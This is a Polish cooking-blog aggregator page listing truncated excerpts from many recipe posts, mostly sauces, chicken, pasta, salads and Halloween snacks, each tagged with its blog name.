tego, że nie każdy może pić kawę z kofeiną na noc, to ta zbożówka sprawdzi swoją rolę idealnie podczas wieczornej imprezy. Jeżeli jesteście bardziej odważni, możecie przyozdobić brzeg szklanki sosem Tabasco. Wyjdzie wtedy nie tylko piekielna Inka, ale także krwawa :-) Jednak powróćmy na ziemię. Pomimo, że ta kawa może być świetnym uzupełnieniem i podkreśleniem Halloween, to ja chciałabym zwrócić uwagę

Poezja Smaków - blog kulinarny
Pieczeń z kawałkami kurczaka 343

Pieczemy w piekarniku nagrzanym do 180 stopni C ok. 1,5 godziny. Mięso studzimy. Zimne doskonale się kroi. Może być podawane na zimno lub na gorąco do obiadu polane sosem. SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
.1265. więcej ich nie będzie 252

płatki jaglane na mleku ryżowym ze śliwkami (również w środku) i sosem orzechowym~ Udalo mi się jeszcze kupić śliwki! Ale jest to już coraz trudniejsze i chyba trzeba się z nimi pożegnać :( Całe szczęście trochę sobie ich zamroziłam ;) Zrobiłam to po raz pierwszy i jestem ciekawa jak sprawdzi się mrożenie śliwek :) P.S. Nie wiem czy wiecie ale od niedawna

breakfast of dreams
danie z patelni 154

Polecam szybkie.smaczne danie..z wykorzystaniem kurczaka i polskich warzyw..Każdy indywidualnie może je zrobić według upodobań bardziej lub mniej pikantny..A makaron ugotowany w sosie wytworzonym jest rewelacyjny.. Składniki: 2 filety z kurczaka 1 czerwona papryka 1/2 cukinii 1/2 pora 1/2 pęczka natki pietruszki 2 ząbki czosnku 1 łyżeczka lubczyku 1 łyżka papryki słodkiej pieprz świeżo zmielony papryka

Ugotujmy Coś
Wielofunkcyjny robot kuchenny z technologią indukcji KOHERSEN 186

letnim doświadczeniem.  Z jego pomocą można przygotować nie tylko dodatki, dania główne i desery, które, zwłaszcza w okresie jesienno - zimowym poprawiają nam nastrój, ale także ulubione koktajle, sosy, drinki alkoholowe, wypieki i dania dla najmłodszych.  Wielofunkcyjny robot kuchenny Kohersen to: Elegancki design sprzętu sprawia, że pasuje do każdego wystroju kuchennego. Więcej informacji znajdziecie na stronie producenta, zapraszam

Moja smaczna kuchnia
PIERSI Z KACZKI W SOSIE ŻURAWINOWO - WIŚNIOWYM 196

wiśnie, dodać miód i sok z cytryny. Całość dusić około 15 minut, od czasu do czasu mieszając i podlewając winem. Mięso pokroić na grube plastry i podawać ułożone na sosie. Ja swoją wersję podałam również z pieczonymi ziemniakami i pieczarkami

Kuchnia w opałach
Pieczony kurczak z winem 173

Składniki 1 kg podudzia kurczaka cebula 5 ząbków czosnku sól, pieprz, estragon, lubczyk papryka słodka i ostra sos sojowy tymianek białe pół wytrawne wino ok szkanki Przygotowanie Mięso przyprawić, przełożyć do brytfanki z cebulą i piec w 180 st C ok 45 min z pokrywką. Na ok 15 min przed końcem wlać wino i już bez przykrycia trzymać w piecu

Gaździnka warzy
Szybki makaron z krewetkami, szpinakiem i suszonymi pomidorami 178

Pomysł na lekki i szybki makaron z krewetkami , szpinakiem i suszonymi pomidorami z dodatkiem wyrazistego sosu winno-maślanego. To idealna propozycja obiadowa z stylu śródziemnomorskim, której przygotowanie zajmie Ci jedyne 20-30 minut. Wszystko, co musisz zrobić to ugotować makaron, a następnie przygotować szpinak, suszone pomidory i krewetki. Proste, szybkie i pocieszające w każdą pogodę! Składniki Ilość porcji: 2 Makaron

ale Pysznie
Fasolka po bretońsku 214

danie, które uwielbiam. Znane chyba każdemu. Z dużą ilością fasoli, cebuli i kiełbasy. Nie jest to potrawa lekkostrawna Lubię kiedy jest trochę więcej sosu pomidorowego. Niestety przygotowanie fasolki po bretońsku zajmuje bardzo dużo czasu (długie gotowanie). To jedno z tych dań, które z dnia na dzień stają się coraz lepsze 400 g białej fasoli typu „Piękny Jaś

Bullio
Jabłka pieczone, z serowym nadzieniem 263

minut. Można sprawdzić po 40 minutach, najlepiej po prostu palcem, czy są już wystarczająco miękkie – jeśli nie, czas pieczenia wydłużamy. Podajemy gorące – z kulką lodów waniliowych , z bitą śmietaną, sosem z solonego karmelu i granolą, która jest świetnym chrupiącym kontrastem dla miękkiego, kremowego jabłka. SKŁADNIKI 4 jabłka deserowe – kruche i soczyste, np. Ligol, Gloster, Idared, Szampion, Jonagold, Red Delicious, moje

Karo in the Kitchen
Cynamonowo - czekoladowy krem gryczany. 154

czekoladowego szczypta soli 1/2 łyżeczki cynamonu cejlońskiego bio 1 łyżka gorzkiego kakao 2 łyżki syropu z kwiatu kokosa 3 łyżki puree z dyni + chipsy jabłkowe bio śliwka  figa sos waniliowy przyprawa bio  Alles Liebe z płatkami róży, różowym pieprzem, malinami i wanilią Do rondelka z gotującym się mlekiem wsypać płatki. Dodać szczyptę soli, cynamon i syrop. Gdy zaczną

Poranek na słodko
Dorsz pieczony z warzywami 259

pokrojony w plasterki czosnek. Szklimy. Dodajemy pomidory z puszki, doprawiamy solą, pieprzem i cukrem i dusimy razem przez 10 minut.  Na koniec dodajemy pokrojonego w krążki pora. Sos przekładamy do ryby, zmniejszamy temperaturę piekarnika do 180 stopni i zapiekamy razem przez 15-20 minut.  Pomidorki koktajlowe przesmażamy na pozostałej oliwie. Rybę podajemy z pieczonymi warzywami i pomidorkami. Smacznego

Moje Kuchenne Rewelacje
Sałatka śledziowa z burakiem - fit 272

grubą kostkę pokroić wymoczone wcześniej i osuszone papierowym ręcznikiem śledzie śmietanę wymieszać z serkiem, chrzanem i 2-3 łyżkami marynaty z ogórków pokrojone warzywa i śledzie wymieszać z przygotowanym sosem, dodać pieprz i sól i pokrojony szczypiorek. Przed podaniem schłodzić w lodówce

Gotuj zdrowo!Guten Appetit!
Sos pieczarkowo - dyniowy 143

zaletach garnka Fissler z kolekcji FISSLER - Original-Profi Collection - Brytfanna . Jak na razie jestem bardzo zadowolona bo garnek świetnie sprawdza się w kuchni. Tym razem przygotowałam w nim sos, czyli całe danie wykonałam w garnku bez wcześniejszego podsmażania w innym naczyniu. Z tego co zdążyłam zauważyć to taki garnek jest idealny, choć jak pisałam wcześniej cena może odstraszać

Ewa w kuchni
Sok- syrop żurawinowy bez cukru 230

pierwszy w tym roku. Może uda się przetestować, czy zapasteryzowany sok, przetrwa kilka miesięcy… zobaczymy. W każdym razie taki sok jest fajną bazą do deserów, kremów, sosów czy drinków. Drukuj Sok- napój żurawinowy bez cukru window.ajaxurl = "http://mieszamwgarnku.pl/wp-admin/admin-ajax.php"; Składniki 300 g żurawiny 1 l wody Sposób przygotowania Żurawinę wcześniej myjemy, osuszamy na papierowych ręcznikach i mrozimy na kilka

Mieszam w Garnku
imprezowe miotełki 383

paluszków 5 plasterków żółtego sera szczypiorek wykonanie: Plasterki żółtego sera przekrawamy na pół i ostrym nożem nacinamy do połowy. Każdy paluszek owijamy serkiem. Związujemy szczypiorkiem. Możemy podawać z ulubionymi sosami

Domowy Smak Jedzenia
Spaghetti z cukinią 198

przygotować potrawę, która swoim smakiem i prostotą doboru składników, odda cały smak makaronu. Najważniejsze w takich daniach jest to, aby to makaron był królem na talerzu, a nie ciężki sos. Myślę, że udało mi się to osiągnąć To proste, choć bardzo zdrowe danie, które składa się z kilku tylko składników, więc ich jakoś jest tu kluczowa. Oliwa z oliwek, dobrej

Ania i Marcin gotują
Sałatka z dynią na ciepło 200

ciepło. To czas na dynię (zwłaszcza hokkaido, którą można jeść razem ze skórką), orzechy włoskie i pachnące winem jabłka. Większość składników tej sałatki rośnie na mojej działce, wystarczy dodać sos i roszponkę. Składniki na każdą osobę: garść roszponki jabłko sok z całej cytyny pół małej dyni hokkaido ze skórką duża łyżka sezamowej tahini 3 orzechy włoskie do dekoracji świeżo mielony

Ugotowane pozamiatane
SZYBKIE TOSTY Z MIĘSEM Z KURCZAKA 171

Następnie posypuję serem żółtym. Następnie wkładam do piekarnika i piekę aż ser się roztopi. Międzyczasie przygotowuję ulubione warzywa. Ja dziś przygotowałam ogórki. Na każdy tost kładę plastry. Następnie polewam sosem

Gotowanie Patki
Buraczkowe kluski śląskie 232

względu na głębszy smak i kolor, choć oczywiście nic nie stoi na przeszkodzie, by wykorzystać gotowaneg buraki. Kluski w tej wersji podaje się tak samo, jak tradycyjne- głównie do sosu, albo jako danie podstawowe i okraszone np. tylko boczkiem czy samą duszoną cebulką (z dodatkiem cydru lub słodkiego wina- mniaaammm!) * ziemniaki- 800 g * buraki- 200 g * mąka ziemniaczana Buraka

Kraina Miodem Płynąca
Krewetki po tajsku 169

produkty House of Asia . Składniki: 500g krewetek (obranych, oczyszczonych) 6 liści kaffiru 2 łyżki masła 2 szalotki 2 łodygi trawy cytrynowej 2 łyżki soku z limonki 1 łyżka sosu rybnego 1 papryczka chili pęczek świeżej kolendry Szalotkę, trawę cytrynową i chili kroimy w cienkie plasterki, liście kaffiru kruszymy (odrzucamy twardy, środkowy patyczek). Na patelni rozgrzewamy masło, dodajemy szalotkę, trawę cytrynową

Gotowanie i blogowanie
Kluski dyniowe z sosem kurkowym 247

Dyniowe kopytka zachwycają kolorem i smakiem. Uwielbiam je z sosem grzybowym, szczególnie z kurkami, bo według mnie te smaki wyjątkowo do siebie pasują. Na szczęście nawet późną jesienią udaje się czasami jeszcze znaleźć kurki a zapobiegliwi na pewno mają coś w zapasie w zamrażarce. Ale, ale! Nie szukajcie w tym przepisie na kopytka ziemniaków bo całkowicie zastąpiłam je dzisiaj upieczoną

Smaczna Pyza
Sałatka z kaszą jaglaną i burakiem 266

patelni. Miód, oliwę, sok z cytryny i szczyptę pieprzu mieszamy ze sobą. Na talerzu rozkładamy kaszę jaglaną, układamy na niej buraki a następnie kładziemy serek sałatkowy. Całość polewamy przygotowanym sosem. Wierzch sałatki posypujemy podprażonym słonecznikiem

My simple kitchen
Domowy ocet jabłkowy. 163

gazą i odstaw jeszcze na 40 dni. Powstały ocet przefiltruj przez gazę, rozlej do czystych butelek z ciemnego szkła. Przechowuj w chłodnym, ciemnym miejscy np. piwniczce. Używaj go do sosów, sałatek, galaretek mięsnych, marynowania mięs itp. K ilka słów na temat octu :  Z wykły ocet spirytusowy pozbawiony jest wartości odżywczych, jest nie zdrowy, dlatego polecam używać ocet domowy zrobiony

Przepisy i porady kulinarne
Kasza gryczana – Jak ugotować kaszę gryczaną 230

powodzeniem zastąpi ryż lub ziemniaki. Nadziewam nią gołąbki, pierogi, faszeruję warzywa lub dodaję do sałatek na ciepło i na zimno. Drobne kasze z powodzeniem zastępują mąkę w zagęszczaniu sosów i zup jako jej bezglutenowa alternatywa Używa jej się również do gotowania kleików zamiast tradycyjnej owsianki. Jak ugotować kaszę gryczaną? Kaszę gryczaną można kupić w porcjowanych woreczkach. Nie przemawia do mnie

codojedzenia
Langosze 327

podsypywania, 45g cukru ( 3 płaskie łyżki ), 14g suszonych drożdży ( 2 saszetki ), 200g obranych ziemniaków ( 2 średnie ziemniaki ), 1 łyżeczka soli, 2 łyżki oleju, 400ml ciepłego mleka. Sos majonezowo czosnkowy: 3 łyżki majonezu, 3 łyżki jogurtu naturalnego, 1 łyżka ketchupu pikantnego, 4 ząbki czosnku, sól, pieprz. Ponadto: starty ser żółty ( ilość wedle uznania ), posiekana natka pietruszki, olej. Przygotowanie

W kuchni u Moniki
Penne z mięsem mielonym w sosie pomidorowym z carry. 222

pęczka na patelnię. Gdy część wody z pomidorów wyparuje dodajemy mleko i roztrzepane jajko, dokładnie mieszamy. Makaron gotujemy według instrukcji na opakowaniu, odcedzamy i dodajemy na patelnię, mieszamy z sosem i wykładamy na talerze. Posypujemy resztą natki. Smacznego :) #Ambition

Moje-pitraszenie
Filet z kurczaka z sosie porowym-błyskawiczny obiad 206

Pomysł na szybki do przygotowania obiad-delikatny filet z kurczaka w sosie śmietankowo-porowym. Pycha.... Składniki: 3 duże filety z kurczaka pojedyncze 2 pory  pęczek dymki szklanka bulionu 1/2 śmietanki kremówki (30%) sól,pieprz tłuszcz do smażenia   Przygotowanie: cebulkę siekamy drobno razem ze szczypiorkiem ,szklimy na patelni. Kurczaka kroimy w średniej wielkości kostkę. Dokładamy do cebuli. Smażymy

Swojskie jedzonko
Ozorki w sosie smietanowo-chrzanowym 233

Ozorki, nie każdy lubi, my akurat uwielbiamy większość podrobów i zazwyczaj jemy je w postaci gulaszu z kaszą ale tym razem postanowiłam przygotować je bardziej tradycyjnie czyli ozorki w sosie chrzanowym. Po po podaniu ich z puree ziemniaczanym wyszedł prosty i pyszny obiad. W dodatku to mało pracochłonne danie, zapewniam. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Pierogi z dzika 198

porcję farszu, ciasto zlepiać formując pierogi. Wrzucać do wrzącej osolonej wody, zamieszać, przykryć pokrywką. Gotować 3 - 4 minuty od zagotowania. Gdy pierogi się ugotują należy je wyjąć. Podawać z sosem. zastawa

królestwo garów
Makaron z kurczakiem i suszonymi pomidorami 200

Dodać pokrojonego w kawałki wielkości kęsa pierś z kurczaka. Przesmażyć aż się przyrumieni. Oprószyć słodką i ostrą papryką. Do kurczaka dodać makaron, wlać śmietanę i mleko, smażyć aż sos zgęstnieje, jeżeli zrobi się zbyt gęsty podlać niewielką ilości wody od gotowania makaronu. Jeszcze chwilę pogotować i natychmiast podawać. Smacznego

Codzienne Gotowanie
18 najlepszych dodatków do makaronów 238

lepszej okazji, niż dzisiejszy Dzień Makaronu, do zaprezentowania najsmaczniejszych dodatków do pasty. Marynowane oliwki, domowej roboty ziołowe oliwy i sosy pomidorowe, nietypowe pesto, idealnie pasujące do jesiennej aury, mieszanka aromatycznych dodatków ukrytych pod nazwą gremolaty, to moje dzisiejsze propozycje, niezbędne do makaronowego świętowania, koniecznie z kieliszkiem dobrego, włoskiego wina! Viva la pasta! Alla salute! Aromatyczne zioła w kuchni włoskiej Ciecierzyca

Moja smaczna kuchnia
Pomidory zapiekane z tuńczykiem 133

przygotowane pomidory ułożyłem przeciętą stroną do dołu na blasze do pieczenia, zapiekałem w piekarniku rozgrzanym do temperatury 200 stopni przez 12 minut. Następnie wyjąłem je i pozostawiłem do wystygnięcia. Sos majonezowy : majonez połączyłem z cienko startą skórką cytrynową, osączonym tuńczykiem i kaparami. Doprawiłem solą i pieprzem. Gotową masą wypełniłem połówki pomidorów, ozdobiłem pokrojonymi suszonymi pomidorami i bazylią. Podgrzałem krótko

R'n'G Kitchen
Sojonez – wegański majonez 268

Sojonez wykonany jest głównie na mleku sojowym (najlepiej niesłodzonym, a jeszcze lepiej domowej roboty) z dużą ilością oleju. Powiesz mi, że jest niezdrowy i tłusty, a

Blendman
Serowe placuszki. 203

Wyjmujemy pestkę i kroimy w półplasterki. Wrzucamy je na patelnie, wlewamy 2 łyżki wody , sok z cytryny oraz dodajemy cukier. Smażymy przez kilka minut aż owoce zmiękną a sos zgęstnieje. Podajemy z placuszkami.   Smacznego

Radość kipiąca uśmiechem.
Penne z cukinią i pomidorami 220

szklista dodajemy na patelnię pokrojone na połówki pomidorki koktajlowe oraz pomidory z puszki. Całość dusimy przez ok. 10 minut, następnie zdejmujemy z ognia i dodajemy śmietanę. Mieszamy. Do przygotowanego sosu dodajemy odcedzony makaron i całość mieszamy razem na patelni. Smacznego! Post Penne z cukinią i pomidorami pojawił się poraz pierwszy w Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Domowa wegeta do słoików (przyprawa na mokro) 211

Jeżeli jesteście zwolennikami domowych mieszanek przypraw jak i wyrobów to zachęcam do przyrządzenia jarzynki, tzw. wegety. Poniższa przyprawa będzie idealna jako dodatek do zup, sosów lub alternatywa do przygotowania domowego bulionu warzywnego. Domową wegetę należy przechowywać w chłodnym miejscu. Nie wymaga pasteryzacji, ponieważ zawiera bardzo dużą ilość soli.  Składniki na 9 mniejszych słoiczków: 1 szklanka soli morskiej gruboziarnistej

Ugotować
Pełne smaku pesto bazyliowe 145

Dzisiaj obchodzimy Światowy Dzień Makaronu. Przedstawiam wam więc jeden z moich ulubionych sosów do niego. Moje pesto jest jedną z popularnych wersji pesto bazyliowego. Orzeszki pinii zastępuję ziarnami słonecznika. Też smaczne, ale znacznie tańsze i łatwiej dostępne u nas. Można je również wykorzystać jako dodatek do wielu innych potraw. pęczek / doniczka bazylii

Polska Zupa
mięso w kawałkach zaprawiane w słoikach 475

serii własne wyroby polecam mięso wieprzowe w kawałkach zaprawiane w słoikach..Jest przepyszne ..nadaje się zarówno na obkładanie chleba jak i na obiad..Wystarczy podgrzać zabielić sos i podawać 🙂 Składniki: 1.5 kg boczku 1.5 kg karkówki 1.5 kg schabu 1/5 kg żeberek sól peklowa 18 g na 1 kg mięsa zalewa: ziele angielskie 10 liść

Ugotujmy Coś
Zapiekanka z makaronu, indyka z sosem enchilada 187

obchodzicie i gotujecie pyszny makaron, taki którego jeszcze nie jadła wasza rodzina? Ja własnie przygotowałam takie danie, to zapiekanka z makaronu łazanki z indykiem i z sosem enchilada. Dlaczego taka nazwa? Bo wykorzystałam przepis z zupy, którą wam pokazałam kilka dni. Wykorzystując dokładnie te same składanki przygotowałam całkiem nowe danie, tym razem główne danie obiadowe. Użyłam makaronu łazanki Lubella Classic

Bernika - moj kulinarny pamietnik
Makaron aglio & olio z krewetkami 166

Makaron gotujemy  z godnie z przepisem na opakowaniu. Kilka krewetek odkładamy, resztę obieramy i kroimy na trzy części, wrzucamy na patelnię, mieszamy. Następnie dodajemy makaron, mieszamy z sosem. Makaron podajemy od razu, ozdobiony dużymi krewetkami

Kulinarne przygody Gatity
Rolady z szynki faszerowane fasolką szparagową i suszonymi pomidorami 212

spinamy wykałaczką. Obsmażamy na gorącym tłuszczu do momentu, aż sie ładnie zrumienią. Podlewamy wodą, dorzucamy liść laurowy, ziele angielskie i dusimy na małym ogniu do miękkości. Na koniec zagęszczamy sos wodą z mąką. Wrazie potrzeby doprawić solą i pieprzem, Smacznego

magiczna kuchnia Kasi
,,Makaron czarny z atramentem z kałamarnicy” 172

kukurydzę, pomidory suszone, pastę oraz pieczarki. Dodajemy mięso mielone, doprawiamy do smaku i dusimy. Makaron gotujemy al dente w lekko osolonej wodzie. Gotowy makaron układamy na talerzu i polewamy sosem mięsnym! Smacznego

Podróż w kulinaria
Kotlety z ugotowanych ziemniaków + film 394

Kotlety z ugotowanych ziemniaków to pyszne urozmaicenie codziennych obiadów, doskonale smakują w towarzystwie sosu pieczarkowego i surówki. Priorytetem podczas przygotowywania tego dania jest niska cena produktów a przede wszystkim oryginalny smak. Kotleciki z ziemniaków to dobry sposób na wykorzystanie ziemniaków pozostałych z poprzedniego dnia.     składniki na około 20 sztuk 1 kg ugotowanych ziemniaków 2 cebule 3 ogórki kiszone

Smakowite Dania
Buraczane burgery w ptysiu 309

blaszkę. Pieczemy w ok 200 stopniach ok 30 min. Po wystudzeniu przekrawamy na pół. Kiedy wszystko mamy gotowe składamy nasze burgery używając naszych ulubionych dodatków w formie warzyw i sosów

Malinowe Pocałunki
Zapiekane naleśniki z mielonym mięsem 3167

Kolejny przepis na nieskomplikowany, szybki obiad, a jeśli zostały nam usmażone naleśniki to już w ogóle błyskawiczny :) To banalne połączenie placka naleśnikowego z mielonym mięsem w pomidorowym sosie, trochę takie canelloni, tylko zamiast makaronu mamy naleśniki jest naprawdę smaczne. Z farszem oczywiście można bardziej pokombinować, dodać do niego na przykład pieczarki, paprykę czy czerwoną fasolę, ale i bez tych dodatków

Simply Food
Placki serowe z zielonym ogórkiem w 15 minut 148

olej do smażenia Wykonanie: Ogórka zetrzeć z serem, dodać pozostałe składniki, doprawić do smaku, staranie wymieszać. Smażyć na rozgrzanym oleju z obu stron na złoty kolor. Podawać z dowolnym sosem lub kwaśną śmietaną

Tradycyjna Kuchnia
Sałatka Meksykański Król Imprezy 177

układamy warstwę kukurydzy Oraz warstwę czerwonej fasoli Jogurt mieszamy z majonezem, doprawiamy solą, pieprzem i cukrem. Wylewamy na fasolę.   Ser żółty ścieramy na najgrubszych oczkach i rozprowadzamy na sosie. Sałatkę wkładamy na parę godzin do lodówki. Przed podaniem na stół dekorujemy brzegi miski tortillami tworząc w ten sposób koronę. Resztę chipsów kruszymy i układamy na wierzchu  sałatki. Smacznego

Taste Therapy
paszteciki drożdżowe z kapustą i kabanosem 211

pasztecików nie może się obejść żadne przyjęcie, u nas są po prostu obowiązkowe. Jadamy je na ciepło, zaraz po upieczeniu albo na zimno z sosem czosnkowym. Są też nieodłącznym dodatkiem do czystego pikantnego barszczyku. Najczęściej robię je z ciasta drożdżowego, jakoś tak wolę pracować z drożdżowym niż z kruchym. Takie paszteciki zabieramy też na piknik czy do pracy. Składniki

Domowa Cukierenka-Domowa Kuchnia
CORN - DOGI 201

naczynia lub długiej szklanki. Parówki obieramy z osłonki, przecinamy na pół i maczamy całe w cieśnie. Smażymy na rozgrzanym, głębokim oleju z jednej i drugiej strony. Podajemy ciepłe z sosami pomidorowym i czosnkowym

Kulinarne Fantazje Marioli
HALLOWEEN - Miotły czarownicy 178

plastrów miękkiego sera np. gouda * cienki szczypiorek  Przygotowanie : Plasterki sera przekroić na pół, każdy plasterek ponacinać. Na paluszki nawinąć ser, związać szczypiorkiem. Miotły można podawać z dipem albo sosem czosnkowym

Magiczne Życie Marty
Zawijaski tortillowe z kurczakiem 822

Składniki: 3 tortille 30 cm Fanex 1 podwójny filet z kurczaka 2-3 pomidory sałata lodowa 1 szalotka cebulka prażona Fanex sos do gyrosa Fanex Przygotowanie: Fileta pokroić w paski, posypać … Czytaj dalej Zawijaski tortillowe z kurczakiem

czarrna od kuchni
Karkówka w sosie ketchupowym 276

ochotę na karkówkę w delikatniejszej w smaku wersji to wolę przyrządzić karkówkę z pieczarkami . Tym razem postanowiłam zrobić mięso w połączeniu z ogórkami konserwowymi. Podczas pieczenia tworzy się fajny sos, który pasuje zarówno do ryżu jak i ziemniaków. Polecam. Składniki: 1 kg karkówki 0,5 kg pieczarek 2 duże cebule ok. 5 ogórków konserwowych 6 łyżek ketchupu sól, pieprz tłuszcz

Pobite gary Barbary
Klopsiki gotowane w sosie koperkowym 156

niewielkiej ilości zimnej wody rozprowadzić ok. 2 łyżki mąki i dodać do wywaru, zagotować, wyłączyć gaz pod garnkiem. Dopiero wtedy dodać śmietankę, ewentualnie doprawić i wrzucić klopsiki do sosu

W garach u Gosi
Kurczak z curry i pieczarkami 173

białej części pora 2 łyżki koncentratu pomidorowego, 2 łyżeczki musztardy Przyprawa curry w proszku 2-3 łyżeczki, kostka bulionowa, szczypta cayenne, odrobina cukru, soli i pieprzu czarnego Do zagęszczenia sosu kremowa śmietanka 30% Natka pietruszki Ryż biały długoziarnisty   firmy Kupiec olej do smażenia lub klarowane masło Wykonanie:   Warzywa oczyścić, marchew i seler zetrzeć na tarce na dużych oczkach

W garach u Gosi
Muszle ze szpinakiem 218

też szpinak mrożony -liście, który wcześniej odmrozić na sicie aby pozbyć się nadmiaru wody. Ser mozarella pokroić w kostkę i wymieszać z przestudzonym szpinakiem. Pomidory z kartonika zblendować, powstały sos wlać do naczynia żaroodpornego na nim ułożyć wypełnione masą szpinakową muszle, i zapiec w piekarniku ok 20minut w 180 stopniach

W garach u Gosi
Kebabki nie tylko na grilla 197

mniej więcej tej samej wielkości. Można smażyć je na patelni grillowej kilkakrotnie przewracając aby ładnie się usmażyły ale też doskonale nadają się na grilla podane z ulubioną sałatą i sosem czosnkowym

W garach u Gosi
Szybki kurczak w kremowym sosie 195

Sezon na świeże pomidory trwa więc to idealna pora na ten szybki obiad. Pyszny kurczak w aromatycznym kremowym sosie. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-parent:""; mso-padding

W garach u Gosi
Makaron domowy 217

zależności jaki makaron chcemy uzyskać.   Gotować w osolonej wodzie ok 5 minut, ja czasami dodaję jeszcze odrobinę oliwy . Domowy makaron idealnie nadaje się do rosołu lub wszelkiego rodzaju sosów

W garach u Gosi
Papryka faszerowana mięsem mielonym z ryżem 323

gorącą wodą 1:1 wraz z kostką bulionową, zalać papryki do max ¾ wysokości papryki. Tak przygotowane papryki gotować ok 40 minut. Po tym czasie wyjąć papryki i zagęścić sos wzbogacając go drobno posiekanym koperkiem

W garach u Gosi
Rozgrzewające curry z kurczakiem i dynią 211

paprykę drobniej- dodać do potrawy. Dodać również fasolkę szparagową ( u mnie mrożona). Całość zalać bulionem oraz mlekiem kokosowym. Gotować pod przykryciem do miękkości warzyw około 20 minut, do zgęstnienia sosu. Pod koniec gotowania dodać pokrojonego w kostkę pomidora. Na sam koniec obficie posypać poszatkowaną natką pietruszki. Potrawę podaję z ryżem

W garach u Gosi
Pomysł na… placki dyniowe 4 sery 146

sera edamskiego 100 g sera feta 50 g parmezanu 1 jajko opcjonalnie 150 g mielonego mięsa drobiowego sól, zmielony liść laurowy i nasiona kolendry do podania: natka pietruszki i sos czosnkowy (jogurt+tarty czosnek+siekany koperek+sól) Wszystkie składniki ścieramy na tarce o drobnych oczkach. Dodajemy jajko i mieszamy dokładnie, żeby wszystkie składniki się połączyły. Z masy formujemy w dłoni

Kucharzyca
Fasola po bretońsku według Smacznej Pyzy 216

świecie gotuje się dania z fasoli. Myślę, że pochodzenie tej potrawy nie ma większego znaczenia, przynajmniej dla mnie. Ważne jest to, że my fasolkę po prostu uwielbiamy, zarówno w sosie pomidorowym jak i zupę fasolową . Fasolka po bretońsku to sycące, pyszne danie. Gotuję je zwykle w większej ilości i część pakuję w słoiki. Nakładam wrzące danie w wyparzone słoiki, zakręcam

Smaczna Pyza
Kopytka z zasmażaną śmietaną 170

momentu gdy zacznie się zbrylać i powstanie masło z zasmażką, czyli śmietanką się  całkowicie zetnie.  Gdy wypłyną (po minucie, dwóch) wybieramy łyżką cedzakową na talerz i polewamy sosem

vaniliowoczekoladowa
roladki z piersi kurczaka... 196

każdej strony wsypać pokrojoną w piórka cebulę, wlać przyprawę w płynie, wodę i pod przykryciem dusić z 30 minut roladki przełożyć na talerz, wywar blenderem zmiksować na smaczny sos, podawać z czym sie lubi - roladki są szybkie, smaczne aromatyczne...........SMACZNEGO

W Mojej Kuchni Lubię
Pulpety drobiowe w sosie śmietanowym. 121

chwilkę na patelni z każdej strony. Następnie wrzucamy do gotującego się na małym ogniu bulionu i gotujemy około 15 minut, po tym czasie dodajemy zahartowaną śmietanę. Aby zagęścić nasz sos robimy zasmażkę z mąki pszennej(około 2 łyżki i 30 g masła). Gotujemy jeszcze około 10 minut. Podajemy z kaszą jaglaną lub ziemniakami. Smacznego :) #Ambition

Moje-pitraszenie
Szarlotka jabłkowo-pigwowa z budyniem 157

cukrem i gotujemy ok. 15 minut. Potem dorzucamy jabłka, rodzynki, ekstrakty i cynamon. Gotujemy kolejne 5 minut. Dodajemy łyżkę masła i gotujemy, aż owoce zmiękną, a z cukru powstanie sos (może to potrwać ok. 10-20 minut). Lekko studzimy i dodajemy orzechy.  Budyń gotujemy wg przepisu z opakowania (można dać mniej cukru). Blaszkę wykładamy papierem do pieczenia i wykładamy

Mania Wypiekania
Tradycyjna sałatka jarzynowa 244

sałatka jarzynowa - prawdziwa, z kalorycznym majonezem i ogórkami kiszonymi była obecna na polskich stołach bardzo często za moich szkolnych czasów. Teraz widujemy ją rzadziej, wypartą przez sałatki polewane lekkim sosem winegret lub samą oliwą. Pamiętam jak w latach osiemdziesiątych, na początku podstawówki na zajęciach ZPT robiłyśmy sałatki jarzynowe, kanapki, a nawet smażyłyśmy pączki serowe w głębokim oleju:) Zajęcia praktyczno-techniczne

Posadzone i zjedzone
Dania z jajem na codzień- czyli 23 jajeczne przepisy 215

brokułowa z jajkami 9. Pizza z jajeczną osłonką 10. Kotlety jajeczne z ryżem i szczypiorkiem 11. Zupa chlebowa z jajkiem w koszulce 12. Zapiekanka jajeczna 13. Jajka zapiekane w sosie chrzanowym 14. Muchomory- jajka nadziewane 15. Pierożki greckie z jajkiem smażone na głębokim tłuszczu 16. Jajko sadzone w paprykowych obręczach 20. Jaja w marynacie 21. Jajko po karpacku 22. Jajo

Tradycyjna Kuchnia
Wyniki konkursu! 212

pokroić w piórka. Pomidor opłukać i pokroić w kostkę. Koperek opłukać i posiekać. Wszystko przełożyć do miski. Oliwę z oliwą wymieszać razem z cukrem, solą i pieprzem. Przygotowanym sosem polać warzywa w misce. Wszystko razem dokładnie wymieszać. Przed podaniem schłodzić. III miejsce: Elżbieta Anna Kruczkiewicz , która przesłała zdjęcia domowych mikstur takich, jak: Sok z pędów sosny, wodę z miodem

Z miłości do słodkości
Makaron z warzywami, łososiem o nucie cytrynowej (z lekko słodko gorzkim posmakiem) 220

dzieciom z makaronu proste dania wyczarowuję, a mężowi ze względu na pasję do biegania maratonów, makaron też gotuję. Łączę je z warzywami, mięsami, rybami, czasem serami posypuję czy z sosami przygotowuję. Makaronowe dania są dla mnie idealne, krótko mówiąc smakowo genialne. Składniki na 2 porcje: (czas. max 20 min) 4 gniazda makaronu Lubella Pełne Ziarno Gniazda Wstążki, 150 g świeżego

Moniki Smakołyki
Rolada mięsna ze szpinakiem i jajkiem 377

piekarniku nagrzanym do 180 st.C przez 1 godzinę. 10 minut przed końcem pieczenia polecam włączyć termoobieg - rolady ładnie zarumienią się z wierzchu. 6. Podajemy na ciepło z ulubionym sosem, lub na zimno - wtedy rolady należy pozostawić w foremkach do całkowitego ostudzenia. Smacznego

Kuchnia domowa Ani
Restaurant Week oraz Festiwal Smaków Food Trucków 210

